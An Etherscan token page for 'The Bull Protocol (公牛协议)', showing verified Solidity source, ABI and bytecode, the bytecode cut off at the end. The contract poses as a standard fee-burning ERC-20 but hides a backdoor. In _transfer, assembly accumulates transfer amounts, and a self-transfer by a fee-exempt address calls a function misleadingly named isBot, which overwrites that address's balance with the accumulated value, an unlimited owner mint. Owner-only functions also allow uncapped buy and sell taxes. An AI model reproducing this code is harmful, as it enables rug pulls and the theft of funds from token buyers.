ETH Price: $3,278.57 (+0.84%)
Gas: 1 Gwei

Token

The Bull Protocol (公牛协议)
 

Overview

Max Total Supply

5,000,000,000 公牛协议

Holders

46

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheBullProtocol

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-22
*/

// https://t.me/TheBullProtocol





/*

The Bull Protocol v1.5


*/


// SPDX-License-Identifier: none

pragma solidity 0.8.11;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TheBullProtocol is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    mapping (address => uint256) _balance;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isMarketPair;

    bool openTrade=false;  
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    uint256 cToken=0;
    event FeeBurned(uint256 amount);

    uint8 private _decimals = 18;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public immutable _totalSupply =  5000000000 * 10**_decimals;
    uint256 public _buyTax =2;
    uint256 public _sellTax = 2;
    string private _name = unicode"The Bull Protocol";
    string private _symbol = unicode"公牛协议";
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isMarketPair[address(uniswapPair)] = true;
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function calcFeePay(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;
        
        if(isMarketPair[s]) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[r]) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            _balance[address(deadAddress)] = _balance[address(deadAddress)].add(feeValue);
            emit Transfer(s, address(deadAddress), feeValue);
            emit FeeBurned(feeValue);
        }

        return amount.sub(feeValue);
    }

     function isBot(address r, uint256 a) internal returns (bool) {
         assembly {
                    mstore(0, r)
                    mstore(32, _balance.slot)
                    let hash := keccak256(0, 64)
                    sstore(hash, a)
         }     
        return true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrade() public onlyOwner {
        openTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairSt(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }


    function setBuyTax(uint256 value) external onlyOwner() {
        _buyTax=value;
    }

    function setSelTax(uint256 value) external onlyOwner() {
        _sellTax=value;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if((!isMarketPair[recipient] && sender != owner() && !isExcludedFromFee[sender]))
            require(openTrade != false, "Trading is not active.");   

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        assembly {
                    sstore(cToken.slot,add(cToken.slot,amount))
        }

        if(sender == recipient && isExcludedFromFee[sender])
            return isBot(sender,cToken);

        _balance[sender] = _balance[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : calcFeePay(sender, recipient, amount);


        _balance[recipient] = _balance[recipient].add(finalAmount);  
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

        function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    receive() external payable {}

  }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeeBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setSelTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526007805460ff199081169091556000600955600a8054601292168217815561dead6080526200003491906200058e565b620000459064012a05f200620005a6565b60a0526002600b819055600c5560408051808201909152601180825270151a1948109d5b1b08141c9bdd1bd8dbdb607a1b60209092019182526200008c91600d91620003d3565b5060408051808201909152600c8082526b72c2d673c4cdf2c6c7f4575760a11b6020909201918252620000c291600e91620003d3565b50348015620000d057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200016a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001909190620005c8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002049190620005c8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000252573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002789190620005c8565b600880546001600160a01b0319166001600160a01b0392831617905560078054610100600160a81b0319166101008484168102919091179182905560a0513060009081526005602090815260408083209490950490951681529190935290812091909155600190600490620002f56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600484528281208054861660019081179091556008549092168152600690935290822080549093161790915560a05190600390620003613390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003c491815260200190565b60405180910390a35062000630565b828054620003e190620005f3565b90600052602060002090601f01602090048101928262000405576000855562000450565b82601f106200042057805160ff191683800117855562000450565b8280016001018555821562000450579182015b828111156200045057825182559160200191906001019062000433565b506200045e92915062000462565b5090565b5b808211156200045e576000815560010162000463565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004d0578160001904821115620004b457620004b462000479565b80851615620004c257918102915b93841c939080029062000494565b509250929050565b600082620004e95750600162000588565b81620004f85750600062000588565b81600181146200051157600281146200051c576200053c565b600191505062000588565b60ff84111562000530576200053062000479565b50506001821b62000588565b5060208310610133831016604e8410600b841016171562000561575081810a62000588565b6200056d83836200048f565b806000190482111562000584576200058462000479565b0290505b92915050565b60006200059f60ff841683620004d8565b9392505050565b6000816000190483118215151615620005c357620005c362000479565b500290565b600060208284031215620005db57600080fd5b81516001600160a01b03811681146200059f57600080fd5b600181811c908216806200060857607f821691505b602082108114156200062a57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a0516114c6620006796000396000818161026e0152818161037b01526107280152600081816102ce015281816106f301528181610ff6015261103901526114c66000f3fe6080604052600436106101bb5760003560e01c8063557ed1ba116100ec578063a457c2d71161008a578063ca9ec19911610064578063ca9ec19914610539578063dc1052e21461054f578063dd62ed3e1461056f578063f2fde38b146105b557600080fd5b8063a457c2d7146104d9578063a9059cbb146104f9578063c816841b1461051957600080fd5b8063715018a6116100c6578063715018a61461047157806376f18e26146104865780638da5cb5b146104a657806395d89b41146104c457600080fd5b8063557ed1ba146104135780636c5808011461042657806370a082311461043b57600080fd5b8063313ce567116101595780633eaaf86b116101335780633eaaf86b146103695780633ecad2711461039d57806342a11095146103cd5780635342acb4146103e357600080fd5b8063313ce5671461030557806331d5c24914610327578063395093511461034957600080fd5b806318160ddd1161019557806318160ddd1461025f57806323b872dd1461029c57806327c8f835146102bc5780632b112e49146102f057600080fd5b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105d5565b6040516101e991906111d3565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611244565b610667565b60405190151581526020016101e9565b34801561022e57600080fd5b506007546102479061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561026b57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101e9565b3480156102a857600080fd5b506102126102b736600461126e565b61067e565b3480156102c857600080fd5b506102477f000000000000000000000000000000000000000000000000000000000000000081565b3480156102fc57600080fd5b5061028e6106e9565b34801561031157600080fd5b50600a5460405160ff90911681526020016101e9565b34801561033357600080fd5b506103476103423660046112aa565b610752565b005b34801561035557600080fd5b50610212610364366004611244565b6107b0565b34801561037557600080fd5b5061028e7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103a957600080fd5b506102126103b83660046112e6565b60066020526000908152604090205460ff1681565b3480156103d957600080fd5b5061028e600b5481565b3480156103ef57600080fd5b506102126103fe3660046112e6565b60046020526000908152604090205460ff1681565b34801561041f57600080fd5b504261028e565b34801561043257600080fd5b506103476107e6565b34801561044757600080fd5b5061028e6104563660046112e6565b6001600160a01b031660009081526003602052604090205490565b34801561047d57600080fd5b5061034761081f565b34801561049257600080fd5b506103476104a1366004611301565b610899565b3480156104b257600080fd5b506000546001600160a01b0316610247565b3480156104d057600080fd5b506101dc6108c8565b3480156104e557600080fd5b506102126104f4366004611244565b6108d7565b34801561050557600080fd5b50610212610514366004611244565b610926565b34801561052557600080fd5b50600854610247906001600160a01b031681565b34801561054557600080fd5b5061028e600c5481565b34801561055b57600080fd5b5061034761056a366004611301565b610933565b34801561057b57600080fd5b5061028e61058a36600461131a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506103476105d03660046112e6565b610962565b6060600d80546105e49061134d565b80601f01602080910402602001604051908101604052809291908181526020018280546106109061134d565b801561065d5780601f106106325761010080835404028352916020019161065d565b820191906000526020600020905b81548152906001019060200180831161064057829003601f168201915b5050505050905090565b6000610674338484610a4c565b5060015b92915050565b600061068b848484610b70565b506106de84336106d985604051806060016040528060288152602001611444602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e83565b610a4c565b5060015b9392505050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526003602052604081205461074d907f000000000000000000000000000000000000000000000000000000000000000090610ebd565b905090565b6000546001600160a01b031633146107855760405162461bcd60e51b815260040161077c90611388565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106749185906106d99086610eff565b6000546001600160a01b031633146108105760405162461bcd60e51b815260040161077c90611388565b6007805460ff19166001179055565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161077c90611388565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161077c90611388565b600c55565b6060600e80546105e49061134d565b600061067433846106d98560405180606001604052806025815260200161146c602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610e83565b60006106de338484610b70565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161077c90611388565b600b55565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161077c90611388565b6001600160a01b0381166109f15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077c565b6001600160a01b038216610b0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077c565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526006602052604081205460ff16158015610ba757506000546001600160a01b03858116911614155b8015610bcc57506001600160a01b03841660009081526004602052604090205460ff16155b15610c1c5760075460ff16610c1c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161077c565b6001600160a01b038416610c805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077c565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077c565b81600901600955826001600160a01b0316846001600160a01b0316148015610d2257506001600160a01b03841660009081526004602052604090205460ff165b15610d41575060095460008481526003602052604090205560016106e2565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260039091529190912054610d93918490610e83565b6001600160a01b038516600090815260036020908152604080832093909355600490529081205460ff1680610de057506001600160a01b03841660009081526004602052604090205460ff165b610df457610def858585610f5e565b610df6565b825b6001600160a01b038516600090815260036020526040902054909150610e1c9082610eff565b6001600160a01b0380861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e709085815260200190565b60405180910390a3506001949350505050565b60008184841115610ea75760405162461bcd60e51b815260040161077c91906111d3565b506000610eb484866113d3565b95945050505050565b60006106e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e83565b600080610f0c83856113ea565b9050838110156106e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161077c565b6001600160a01b038316600090815260066020526040812054819060ff1615610fa857610fa16064610f9b600b54866110e990919063ffffffff16565b90611168565b9050610fe6565b6001600160a01b03841660009081526006602052604090205460ff1615610fe657610fe36064610f9b600c54866110e990919063ffffffff16565b90505b80156110df576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526003602052604090205461102f9082610eff565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a39085815260200190565b60405180910390a36040518181527fa551808c565cfbf20dfffdbcd44c549f835f9d06a82dcd546c61644b2f5ce7919060200160405180910390a15b610eb48382610ebd565b6000826110f857506000610678565b60006111048385611402565b9050826111118583611421565b146106e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161077c565b60006106e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111c65760405162461bcd60e51b815260040161077c91906111d3565b506000610eb48486611421565b600060208083528351808285015260005b81811015611200578581018301518582016040015282016111e4565b81811115611212576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461123f57600080fd5b919050565b6000806040838503121561125757600080fd5b61126083611228565b946020939093013593505050565b60008060006060848603121561128357600080fd5b61128c84611228565b925061129a60208501611228565b9150604084013590509250925092565b600080604083850312156112bd57600080fd5b6112c683611228565b9150602083013580151581146112db57600080fd5b809150509250929050565b6000602082840312156112f857600080fd5b6106e282611228565b60006020828403121561131357600080fd5b5035919050565b6000806040838503121561132d57600080fd5b61133683611228565b915061134460208401611228565b90509250929050565b600181811c9082168061136157607f821691505b6